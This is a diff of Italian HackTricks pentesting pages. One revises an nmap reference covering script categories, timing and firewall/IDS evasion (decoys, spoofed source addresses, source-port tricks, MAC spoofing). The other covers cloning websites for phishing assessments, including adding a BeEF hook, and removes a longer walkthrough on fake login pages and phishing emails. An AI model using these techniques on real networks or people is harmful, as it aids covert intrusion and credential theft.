I tipi disponibili sono: auth, broadcast, default, discovery, dos, exploit, external, fuzzer, intrusive, malware, safe, version, and vuln
|
||||
|
||||
* **Auth:** esegue tutti gli script disponibili per l'autenticazione
|
||||
* **Default:** esegue gli script di base predefiniti dello strumento
|
||||
* **Discovery:** recupera informazioni sul target o sulla vittima
|
||||
* **External:** script per utilizzare risorse esterne
|
||||
* **Intrusive:** utilizza script considerati intrusivi per la vittima o il target
|
||||
* **Malware:** verifica se ci sono connessioni aperte da codici maligni o backdoor
|
||||
* **Safe:** esegue script non intrusivi
|
||||
* **Vuln:** scopre le vulnerabilità più note
|
||||
* **All:** esegue tutti gli script NSE disponibili
|
||||
* **Auth:** esegue tutti i suoi _scripts_ disponibili per l'autenticazione
|
||||
* **Default:** esegue gli _scripts_ di base predefiniti dello strumento
|
||||
* **Discovery:** recupera informazioni sul _target_ o vittima
|
||||
* **External:** _script_ per utilizzare risorse esterne
|
||||
* **Intrusive:** utilizza _scripts_ considerati intrusivi per la vittima o il _target_
|
||||
* **Malware:** controlla se ci sono connessioni aperte da codici dannosi o _backdoors_
|
||||
* **Safe:** esegue _scripts_ non intrusivi
|
||||
* **Vuln:** scopre le vulnerabilità più conosciute
|
||||
* **All:** esegue tutti i _scripts_ NSE disponibili
|
||||
|
||||
Per cercare script:
|
||||
Per cercare _scripts_:
|
||||
|
||||
**nmap --script-help="http-\*" -> Quelli che iniziano con http-**
|
||||
|
||||
|
@ -89,45 +105,45 @@ Per cercare script:
|
|||
|
||||
\--script-args _\<n1>_=_\<v1>_,_\<n2>_={_\<n3>_=_\<v3>_},_\<n4>_={_\<v4>_,_\<v5>_}
|
||||
|
||||
\--script-args-file _\<nomefile>_
|
||||
\--script-args-file _\<filename>_
|
||||
|
||||
\--script-help _\<nomefile>_|_\<categoria>_|_\<directory>_|_\<espressione>_|all\[,...]
|
||||
\--script-help _\<filename>_|_\<category>_|_\<directory>_|_\<expression>_|all\[,...]
|
||||
|
||||
\--script-trace ---> Fornisce informazioni su come sta procedendo lo script
|
||||
\--script-trace ---> Fornisce informazioni sullo stato dello script
|
||||
|
||||
\--script-updatedb
|
||||
|
||||
**Per utilizzare uno script è sufficiente inserire: nmap --script Nome\_dello\_script obiettivo** --> Inserendo lo script verrà eseguito sia lo script che la scansione, quindi è possibile aggiungere **"safe=1"** per eseguire solo quelli sicuri.
|
||||
**Per utilizzare uno script basta digitare: nmap --script Nome\_dello\_script obiettivo** --> Quando si specifica lo script, verrà eseguito sia lo script che lo scanner, quindi è possibile aggiungere **"safe=1"** per eseguire solo quelli sicuri.
|
||||
|
||||
**Controllo del tempo**
|
||||
|
||||
**Nmap può modificare il tempo in secondi, minuti, ms:** --host-timeout arguments 900000ms, 900, 900s, and 15m fanno la stessa cosa.
|
||||
**Nmap può modificare il tempo in secondi, minuti, ms:** --host-timeout arguments 900000ms, 900, 900s, e 15m fanno la stessa cosa.
|
||||
|
||||
Nmap divide il numero totale di host da scansionare in gruppi e analizza quei gruppi a blocchi in modo che fino a quando tutti i blocchi non sono stati analizzati, non passa al blocco successivo (e l'utente non riceve alcun aggiornamento fino a quando il blocco non è stato analizzato) in questo modo, è più efficiente per nmap utilizzare gruppi più grandi. Di default, in una classe C, ne utilizza 256.
|
||||
Nmap divide il numero totale di host da scansionare in gruppi e analizza quei gruppi a blocchi in modo che finché non sono stati analizzati tutti, non passa al blocco successivo (e l'utente non riceve alcun aggiornamento fino a quando il blocco non è stato analizzato) in questo modo, è più efficiente per nmap utilizzare gruppi più grandi. Di default, in classe C usa 256.
|
||||
|
||||
Può essere modificato con **--min-hostgroup** _**\<numhosts>**_**;** **--max-hostgroup** _**\<numhosts>**_ (Regola le dimensioni dei gruppi di scansione parallela)
|
||||
Può essere modificato con\*\*--min-hostgroup\*\* _**\<numhosts>**_**;** **--max-hostgroup** _**\<numhosts>**_ (Regola le dimensioni dei gruppi di scansione parallela)
|
||||
|
||||
È possibile controllare il numero di scanner in parallelo, ma è meglio evitarlo (nmap incorpora già un controllo automatico in base allo stato della rete): **--min-parallelism** _**\<numprobes>**_**;** **--max-parallelism** _**\<numprobes>**_
|
||||
È possibile controllare il numero di scanner in parallelo, ma è meglio evitare (nmap incorpora già un controllo automatico in base allo stato della rete): **--min-parallelism** _**\<numprobes>**_**;** **--max-parallelism** _**\<numprobes>**_
|
||||
|
||||
È possibile modificare il timeout rtt, ma di solito non è necessario: **--min-rtt-timeout** _**\<time>**_**,** **--max-rtt-timeout** _**\<time>**_**,** **--initial-rtt-timeout** _**\<time>**_
|
||||
|
||||
È possibile modificare il numero di tentativi: **--max-retries** _**\<numtries>**_
|
||||
|
||||
È possibile modificare il tempo di scansione di un host: **--host-timeout** _**\<time>**_
|
||||
È possibile modificare il timeout di un host: **--host-timeout** _**\<time>**_
|
||||
|
||||
È possibile modificare il tempo tra ogni prova per rallentare: **--scan-delay** _**\<time>**_**;** **--max-scan-delay** _**\<time>**_
|
||||
È possibile modificare il tempo tra ogni scansione per rallentare: **--scan-delay** _**\<time>**_**;** **--max-scan-delay** _**\<time>**_
|
||||
|
||||
È possibile modificare il numero di pacchetti al secondo: **--min-rate** _**\<number>**_**;** **--max-rate** _**\<number>**_
|
||||
|
||||
Molti porte impiegano molto tempo a rispondere se sono filtrate o chiuse, se siamo interessati solo a quelle aperte, possiamo accelerare il processo con: **--defeat-rst-ratelimit**
|
||||
Molti porti impiegano molto tempo a rispondere se sono filtrati o chiusi, se siamo interessati solo a quelli aperti, possiamo accelerare con: **--defeat-rst-ratelimit**
|
||||
|
||||
Per definire il livello di aggressività di nmap: -T paranoid|sneaky|polite|normal|aggressive|insane
|
||||
|
||||
\-T (0-1)
|
||||
|
||||
\-T0 --> Viene scansionata solo una porta alla volta e si attendono 5 minuti prima della successiva
|
||||
\-T0 --> Scansiona solo 1 porta alla volta e attende 5 minuti prima della successiva
|
||||
|
||||
\-T1 e T2 --> Molto simili ma attendono solo 15 e 0,4 secondi rispettivamente tra ogni prova
|
||||
\-T1 e T2 --> Molto simili ma attendono rispettivamente 15 e 0,4 secondi tra ogni scansione
|
||||
|
||||
\-T3 --> Funzionamento predefinito, include in parallelo
|
||||
|
||||
|
@ -137,32 +153,40 @@ Per definire il livello di aggressività di nmap: -T paranoid|sneaky|polite|norm
|
|||
|
||||
**Firewall/IDS**
|
||||
|
||||
Impediscono l'accesso alle porte e analizzano i pacchetti.
|
||||
Bloccano le porte e analizzano i pacchetti.
|
||||
|
||||
**-f** Per frammentare i pacchetti, di default li frammenta in 8 byte dopo l'intestazione, per specificare quella dimensione usiamo ..mtu (in questo caso, non usare -f), l'offset deve essere multiplo di 8. **Gli scanner di versione e gli script non supportano la frammentazione**
|
||||
**-f** Per frammentare i pacchetti, di default li frammenta in 8 byte dopo l'intestazione, per specificare quella dimensione usiamo ..mtu (con questo, non usare -f), l'offset deve essere multiplo di 8. **Version scan e script non supportano la frammentazione**
|
||||
|
||||
**-D decoy1,decoy2,ME** Nmap invia scanner ma con altri indirizzi IP come origine, in questo modo ti nasconde. Se inserisci ME nella lista, nmap ti posizionerà lì, è meglio inserire 5 o 6 indirizzi prima del tuo per mascherarti completamente. È possibile generare indirizzi IP casuali con RND:\<numero> per generare \<numero> di indirizzi IP casuali. Non funzionano con il rilevamento delle versioni senza connessione TCP. Se sei all'interno di una rete, è consigliabile utilizzare indirizzi IP attivi, altrimenti sarà molto facile capire che sei l'unico attivo.
|
||||
**-D decoy1,decoy2,ME** Nmap invia scansioni ma con altri indirizzi IP come origine, in questo modo ti nasconde. Se inserisci ME nella lista, nmap ti posizionerà lì, è meglio inserire 5 o 6 prima di te per mascherarti completamente. È possibile generare IP casuali con RND:\<numero> per generare \<numero> di IP casuali. Non funzionano con il rilevamento delle versioni senza connessione TCP. Se sei all'interno di una rete, è consigliabile utilizzare IP attivi, altrimenti sarà molto facile capire che sei l'unico attivo.
|
||||
|
||||
Per utilizzare indirizzi IP casuali: nmap -D RND: 10 Ip\_obiettivo
|
||||
Per utilizzare IP casuali: nmap-D RND: 10 Ip\_obiettivo
|
||||
|
||||
**-S IP** Quando Nmap non rileva il tuo indirizzo IP, devi fornirlo con questo. È anche utile per far pensare che ci sia un altro obiettivo che li sta scansionando.
|
||||
**-S IP** Quando Nmap non rileva il tuo indirizzo IP devi fornirlo con questo. Serve anche per far pensare che ci sia un altro obiettivo che li sta scansionando.
|
||||
|
||||
**-e \<interfaccia>** Per scegliere l'interfaccia
|
||||
|
||||
Molti amministratori lasciano aperte le porte di ingresso affinché tutto funzioni correttamente e sia più facile per loro trovare un'altra soluzione. Queste possono essere le porte DNS o quelle FTP... per cercare questa vulnerabilità, nmap include: **--source-port** _**\<numerodiporta>**_**;-g** _**\<numerodiporta>**_ _Sono equivalenti_
|
||||
Molti amministratori lasciano aperte le porte di ingresso affinché tutto funzioni correttamente e sia più facile per loro che cercare un'altra soluzione. Queste possono essere le porte DNS o FTP... per cercare questa vulnerabilità nmap include: **--source-port** _**\<portnumber>**_**;-g** _**\<portnumber>**_ _Sono equivalenti_
|
||||
|
||||
**--data** _**\<stringaesadecimale>**_ Per inviare testo esadecimale: --data 0xdeadbeef and --data \xCA\xFE\x09
|
||||
**--data** _**\<stringa esadecimale>**_ Per inviare testo esadecimale: --data 0xdeadbeef e --data \xCA\xFE\x09
|
||||
|
||||
**--data-string** _**\<stringa>**_ Per inviare un testo normale: --data-string "Scansione condotta da Security Ops, estensione 7192"
|
||||
|
||||
**--data-length** _**\<numero>**_ Nmap invia solo intestazioni, con questo facciamo in modo che aggiunga a queste un numero di byte in più (che verranno generati casualmente)
|
||||
**--data-length** _**\<numero>**_ Nmap invia solo intestazioni, con questo si aggiunge un numero casuale di byte in più
|
||||
|
||||
Per configurare completamente il pacchetto IP, utilizzare **
|
||||
**--proxies** _**\<Elenco separato da virgole di URL proxy>**_ Per utilizzare i proxy, a volte un proxy non mantiene aperte così tante connessioni come nmap desidera, quindi è necessario modificare la parallelità: --max-parallelism
|
||||
Per configurare completamente il pacchetto IP utilizzare **--ip-options**
|
||||
|
||||
Se si desidera visualizzare le opzioni nei pacchetti inviati e ricevuti, specificare --packet-trace. Per ulteriori informazioni ed esempi sull'utilizzo delle opzioni IP con Nmap, vedere [http://seclists.org/nmap-dev/2006/q3/52](http://seclists.org/nmap-dev/2006/q3/52).
|
||||
|
||||
**--ttl** _**\<valore>**_
|
||||
|
||||
**--randomize-hosts** Per rendere l'attacco meno ovvio
|
||||
|
||||
**--spoof-mac** _**\<indirizzo MAC, prefisso o nome del produttore>**_ Per cambiare il MAC esempi: Apple, 0, 01:02:03:04:05:06, deadbeefcafe, 0020F2, e Cisco
|
||||
**--proxies** _**\<Elenco separato da virgole di URL proxy>**_ Per utilizzare i proxy, a volte un proxy potrebbe non mantenere aperte abbastanza connessioni come nmap desidera, quindi potrebbe essere necessario modificare la parallelità: --max-parallelism
|
||||
|
||||
**-sP** Per scoprire gli host nella rete in cui ci troviamo tramite ARP
|
||||
|
||||
Molti amministratori creano una regola nel firewall che consente di passare tutti i pacchetti provenienti da una porta specifica (come la 20, 53 e 67), possiamo dire a nmap di inviare i nostri pacchetti da quelle porte: **nmap --source-port 53 Ip**
|
||||
Molti amministratori creano una regola nel firewall che consente il passaggio di tutti i pacchetti provenienti da una porta specifica (come la 20, 53 e 67), possiamo dire a nmap di inviare i nostri pacchetti da tali porte: **nmap --source-port 53 Ip**
|
||||
|
||||
**Output**
|
||||
|
||||
|
@ -176,29 +200,29 @@ Molti amministratori creano una regola nel firewall che consente di passare tutt
|
|||
|
||||
**-oA file** Tutti tranne -oS
|
||||
|
||||
**-v level** verbosità
|
||||
**-v level** Verbosità
|
||||
|
||||
**-d level** debug
|
||||
**-d level** Debug
|
||||
|
||||
**--reason** Motivo dell'host e stato
|
||||
**--reason** Motivo dell'host e dello stato
|
||||
|
||||
**--stats-every time** Ogni tanto ci dice come sta andando
|
||||
**--stats-every time** Ogni tot tempo mostra lo stato
|
||||
|
||||
**--packet-trace** Per vedere quali pacchetti vengono inviati, è possibile specificare filtri come: --version-trace o --script-trace
|
||||
**--packet-trace** Per visualizzare i pacchetti inviati, è possibile specificare filtri come: --version-trace o --script-trace
|
||||
|
||||
**--open** mostra gli aperti, aperti|filtrati e non filtrati
|
||||
**--open** Mostra gli host aperti, aperti|filtrati e non filtrati
|
||||
|
||||
**--resume file** Genera un riassunto
|
||||
|
||||
**Miscellanea**
|
||||
**Varie**
|
||||
|
||||
**-6** Consente ipv6
|
||||
**-6** Abilita IPv6
|
||||
|
||||
**-A** È lo stesso di -O -sV -sC --traceroute
|
||||
**-A** Equivale a -O -sV -sC --traceroute
|
||||
|
||||
**Run time**
|
||||
**Esecuzione**
|
||||
|
||||
Durante l'esecuzione di nmap possiamo modificare le opzioni:
|
||||
Durante l'esecuzione di nmap è possibile modificare le opzioni:
|
||||
|
||||
v / V Aumenta / diminuisce il livello di verbosità
|
||||
|
||||
|
@ -206,11 +230,11 @@ d / D Aumenta / diminuisce il livello di debug
|
|||
|
||||
p / P Attiva / disattiva il tracciamento dei pacchetti
|
||||
|
||||
? Stampa una schermata di aiuto interattiva durante l'esecuzione
|
||||
? Stampa un aiuto interattivo durante l'esecuzione
|
||||
|
||||
**Vulscan**
|
||||
|
||||
Script di nmap che controlla le versioni dei servizi ottenuti in un database offline (scaricato da altri database molto importanti) e restituisce le possibili vulnerabilità
|
||||
Script di nmap che confronta le versioni dei servizi ottenute in un database offline (scaricato da fonti molto importanti) e restituisce le possibili vulnerabilità
|
||||
|
||||
I database utilizzati sono:
|
||||
|
||||
|
@ -227,32 +251,36 @@ Per scaricarlo e installarlo nella cartella di Nmap:
|
|||
|
||||
wget http://www.computec.ch/projekte/vulscan/download/nmap\_nse\_vulscan-2.0.tar.gz && tar -czvf nmap\_nse\_vulscan-2.0.tar.gz vulscan/ && sudo cp -r vulscan/ /usr/share/nmap/scripts/
|
||||
|
||||
È anche necessario scaricare i pacchetti dei database e aggiungerli a /usr/share/nmap/scripts/vulscan/
|
||||
È inoltre necessario scaricare i pacchetti dei database e aggiungerli a /usr/share/nmap/scripts/vulscan/
|
||||
|
||||
Utilizzo:
|
||||
|
||||
Per utilizzare tutti i database: sudo nmap -sV --script=vulscan HOST\_DA\_SCANSIONARE
|
||||
Per utilizzare tutti: sudo nmap -sV --script=vulscan HOST\_A\_ESCANEAR
|
||||
|
||||
Per utilizzare un database specifico: sudo nmap -sV --script=vulscan --script-args vulscandb=cve.csv HOST\_DA\_SCANSIONARE
|
||||
Per utilizzare un database specifico: sudo nmap -sV --script=vulscan --script-args vulscandb=cve.csv HOST\_A\_ESCANEAR
|
||||
|
||||
## Accelerare la scansione dei servizi di Nmap x16
|
||||
## Accelerare la scansione dei servizi Nmap x16
|
||||
|
||||
Secondo [**questo post**](https://joshua.hu/nmap-speedup-service-scanning-16x) è possibile accelerare l'analisi dei servizi di nmap modificando tutti i valori **`totalwaitms`** in **`/usr/share/nmap/nmap-service-probes`** a **300** e **`tcpwrappedms`** a **200**.
|
||||
Secondo [**questo post**](https://joshua.hu/nmap-speedup-service-scanning-16x) è possibile accelerare l'analisi dei servizi di nmap modificando tutti i valori di **`totalwaitms`** in **`/usr/share/nmap/nmap-service-probes`** a **300** e **`tcpwrappedms`** a **200**.
|
||||
|
||||
Inoltre, le sonde che non hanno un valore specificamente definito **`servicewaitms`** utilizzano un valore predefinito di **`5000`**. Pertanto, possiamo aggiungere valori a ciascuna delle sonde, oppure possiamo **compilare nmap** noi stessi e modificare il valore predefinito in [**service\_scan.h**](https://github.com/nmap/nmap/blob/master/service\_scan.h#L79).
|
||||
Inoltre, le sonde che non hanno un **`servicewaitms`** definito specificamente utilizzano un valore predefinito di **`5000`**. Pertanto, possiamo aggiungere valori a ciascuna delle sonde, oppure possiamo **compilare nmap** noi stessi e modificare il valore predefinito in [**service\_scan.h**](https://github.com/nmap/nmap/blob/master/service\_scan.h#L79).
|
||||
|
||||
Se non si desidera modificare i valori di **`totalwaitms`** e **`tcpwrappedms`** nel file `/usr/share/nmap/nmap-service-probes`, è possibile modificare il [codice di parsing](https://github.com/nmap/nmap/blob/master/service\_scan.cc#L1358) in modo che questi valori nel file `nmap-service-probes` vengano completamente ignorati.
|
||||
Se non si desidera modificare affatto i valori di **`totalwaitms`** e **`tcpwrappedms`** nel file `/usr/share/nmap/nmap-service-probes`, è possibile modificare il [codice di analisi](https://github.com/nmap/nmap/blob/master/service\_scan.cc#L1358) in modo che questi valori nel file `nmap-service-probes` vengano completamente ignorati.
|
||||
|
||||
<figure><img src="/.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://websec.nl/" %}
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Impara l'hacking di AWS da zero a esperto con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Impara l'hacking AWS da zero a esperto con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Altri modi per supportare HackTricks:
|
||||
|
||||
* Se vuoi vedere la tua **azienda pubblicizzata in HackTricks** o **scaricare HackTricks in PDF** Controlla i [**PACCHETTI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
|
||||
* Se desideri vedere la tua **azienda pubblicizzata in HackTricks** o **scaricare HackTricks in PDF** controlla i [**PIANI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
|
||||
* Ottieni il [**merchandising ufficiale di PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Scopri [**The PEASS Family**](https://opensea.io/collection/the-peass-family), la nostra collezione di esclusive [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo Telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* Scopri [**The PEASS Family**](https://opensea.io/collection/the-peass-family), la nostra collezione di esclusivi [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Condividi i tuoi trucchi di hacking inviando PR ai** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
|
|
|
@ -1,21 +1,26 @@
|
|||
<details>
|
||||
|
||||
<summary><strong>Impara l'hacking di AWS da zero a eroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Impara l'hacking AWS da zero a eroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Esperto Red Team AWS di HackTricks)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Altri modi per supportare HackTricks:
|
||||
|
||||
* Se vuoi vedere la tua **azienda pubblicizzata su HackTricks** o **scaricare HackTricks in PDF** Controlla i [**PIANI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
|
||||
* Se desideri vedere la tua **azienda pubblicizzata su HackTricks** o **scaricare HackTricks in PDF** Controlla i [**PIANI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
|
||||
* Ottieni il [**merchandising ufficiale di PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Scopri [**The PEASS Family**](https://opensea.io/collection/the-peass-family), la nostra collezione di [**NFT**](https://opensea.io/collection/the-peass-family) esclusivi
|
||||
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo Telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Condividi i tuoi trucchi di hacking inviando PR ai repository github di** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
* Scopri [**La Famiglia PEASS**](https://opensea.io/collection/the-peass-family), la nostra collezione di [**NFT esclusivi**](https://opensea.io/collection/the-peass-family)
|
||||
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Condividi i tuoi trucchi di hacking inviando PR a** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
|
||||
<figure><img src="/.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Per una valutazione di phishing, a volte può essere utile **clonare completamente un sito web**.
|
||||
{% embed url="https://websec.nl/" %}
|
||||
|
||||
Nota che puoi anche aggiungere alcuni payload al sito web clonato, come un hook BeEF per "controllare" la scheda dell'utente.
|
||||
|
||||
|
||||
Per una valutazione del phishing a volte può essere utile **clonare completamente un sito web**.
|
||||
|
||||
Nota che puoi aggiungere anche alcuni payload al sito clonato come un hook BeEF per "controllare" la scheda dell'utente.
|
||||
|
||||
Ci sono diversi strumenti che puoi utilizzare per questo scopo:
|
||||
|
||||
|
@ -24,86 +29,29 @@ Ci sono diversi strumenti che puoi utilizzare per questo scopo:
|
|||
wget -mk -nH
|
||||
```
|
||||
## goclone
|
||||
|
||||
Il comando `goclone` è uno strumento molto utile per clonare un sito web. Questo strumento semplifica il processo di creazione di una copia esatta di un sito web esistente, consentendo di creare facilmente una versione identica del sito da utilizzare per scopi di phishing.
|
||||
|
||||
### Installazione
|
||||
|
||||
Per installare `goclone`, è possibile eseguire il seguente comando:
|
||||
|
||||
```bash
|
||||
go get -u github.com/malcomvetter/goclone
|
||||
```
|
||||
|
||||
### Utilizzo
|
||||
|
||||
Una volta installato `goclone`, è possibile utilizzarlo per clonare un sito web specificando l'URL del sito da clonare e il percorso in cui si desidera salvare la copia del sito. Ecco un esempio di come utilizzare il comando `goclone`:
|
||||
|
||||
```bash
|
||||
goclone -url https://www.example.com -output /path/to/save/clone
|
||||
```
|
||||
|
||||
Dopo aver eseguito questo comando, `goclone` inizierà a scaricare tutti i file del sito web specificato e a salvarli nella directory specificata come output. Sarà creata una copia esatta del sito web, compresi tutti i file HTML, CSS, JavaScript e immagini.
|
||||
|
||||
### Considerazioni sulla sicurezza
|
||||
|
||||
È importante notare che l'utilizzo di `goclone` per clonare un sito web senza il consenso del proprietario è un'attività illegale e può comportare conseguenze legali. Questo strumento dovrebbe essere utilizzato solo a fini educativi o con il consenso esplicito del proprietario del sito web.
|
||||
|
||||
Inoltre, è fondamentale comprendere che il phishing è un'attività illegale e altamente dannosa. L'utilizzo di una copia clonata di un sito web per scopi di phishing può causare gravi danni alle persone coinvolte. Si consiglia vivamente di utilizzare queste informazioni solo per scopi legittimi e legali.
|
||||
```bash
|
||||
#https://github.com/imthaghost/goclone
|
||||
goclone <url>
|
||||
```
|
||||
## Kit di Social Engineering
|
||||
|
||||
### Clonare un Sito Web
|
||||
|
||||
La clonazione di un sito web è una tecnica comune utilizzata nel social engineering per ingannare le vittime e ottenere informazioni sensibili. Questo metodo coinvolge la creazione di una copia identica di un sito web legittimo, al fine di indurre le persone a inserire le proprie credenziali o altre informazioni riservate.
|
||||
|
||||
#### Passo 1: Identificare il Sito Web da Clonare
|
||||
|
||||
Prima di tutto, è necessario identificare il sito web che si desidera clonare. Questo può essere un sito di social media, una piattaforma di e-commerce o qualsiasi altro sito che potrebbe contenere informazioni utili per il vostro scopo.
|
||||
|
||||
#### Passo 2: Scaricare il Contenuto del Sito Web
|
||||
|
||||
Una volta identificato il sito web, è possibile scaricare il suo contenuto utilizzando strumenti come `wget` o `httrack`. Questi strumenti consentono di scaricare l'intero sito web, inclusi file HTML, immagini e altri elementi.
|
||||
|
||||
```bash
|
||||
wget -r -np -k https://www.sito-web-da-clonare.com
|
||||
```
|
||||
|
||||
#### Passo 3: Modificare il Contenuto del Sito Web
|
||||
|
||||
Dopo aver scaricato il contenuto del sito web, è possibile apportare le modifiche necessarie per creare una copia personalizzata. Questo potrebbe includere l'aggiunta di un modulo di accesso falso o la modifica di alcune pagine per indurre le vittime a condividere le proprie informazioni.
|
||||
|
||||
#### Passo 4: Configurare un Server Web
|
||||
|
||||
Una volta apportate le modifiche al sito web clonato, è necessario configurare un server web per ospitare la copia. Questo può essere fatto utilizzando strumenti come Apache o Nginx.
|
||||
|
||||
#### Passo 5: Invio di E-mail di Phishing
|
||||
|
||||
Infine, è possibile utilizzare l'indirizzo e-mail di destinazione per inviare e-mail di phishing contenenti un link alla copia clonata del sito web. Questo può essere fatto utilizzando strumenti di phishing come GoPhish o SET (Social Engineering Toolkit).
|
||||
|
||||
```bash
|
||||
gophish
|
||||
```
|
||||
|
||||
Una volta che la vittima clicca sul link nella e-mail di phishing, verrà reindirizzata alla copia clonata del sito web, dove potrà essere ingannata per inserire le proprie informazioni sensibili.
|
||||
|
||||
Ricordate che la clonazione di un sito web è un'attività illegale e può comportare conseguenze legali. Questa tecnica dovrebbe essere utilizzata solo a fini educativi o con il consenso esplicito del proprietario del sito web.
|
||||
## Kit di strumenti di ingegneria sociale
|
||||
```bash
|
||||
#https://github.com/trustedsec/social-engineer-toolkit
|
||||
```
|
||||
<figure><img src="/.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://websec.nl/" %}
|
||||
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Impara l'hacking di AWS da zero a eroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Impara l'hacking AWS da zero a eroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Altri modi per supportare HackTricks:
|
||||
|
||||
* Se vuoi vedere la tua **azienda pubblicizzata su HackTricks** o **scaricare HackTricks in PDF** Controlla i [**PIANI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
|
||||
* Ottieni il [**merchandising ufficiale di PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Scopri [**The PEASS Family**](https://opensea.io/collection/the-peass-family), la nostra collezione di [**NFT**](https://opensea.io/collection/the-peass-family) esclusivi
|
||||
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo Telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Condividi i tuoi trucchi di hacking inviando PR ai repository github di** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
* Scopri [**La Famiglia PEASS**](https://opensea.io/collection/the-peass-family), la nostra collezione di esclusive [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Condividi i tuoi trucchi di hacking inviando PR ai** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repository di github.
|
||||
|
||||
</details>
|
||||
|
|
|
@ -2,7 +2,7 @@
|
|||
|
||||
<details>
|
||||
|
||||
<summary><strong>Impara l'hacking AWS da zero a eroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Impara l'hacking AWS da zero a esperto con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Altri modi per supportare HackTricks:
|
||||
|
||||
|
@ -10,11 +10,15 @@ Altri modi per supportare HackTricks:
|
|||
* Ottieni il [**merchandising ufficiale di PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Scopri [**La Famiglia PEASS**](https://opensea.io/collection/the-peass-family), la nostra collezione di [**NFT esclusivi**](https://opensea.io/collection/the-peass-family)
|
||||
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Condividi i tuoi trucchi di hacking inviando PR a** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos di github.
|
||||
* **Condividi i tuoi trucchi di hacking inviando PR ai** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repository di Github.
|
||||
|
||||
</details>
|
||||
|
||||
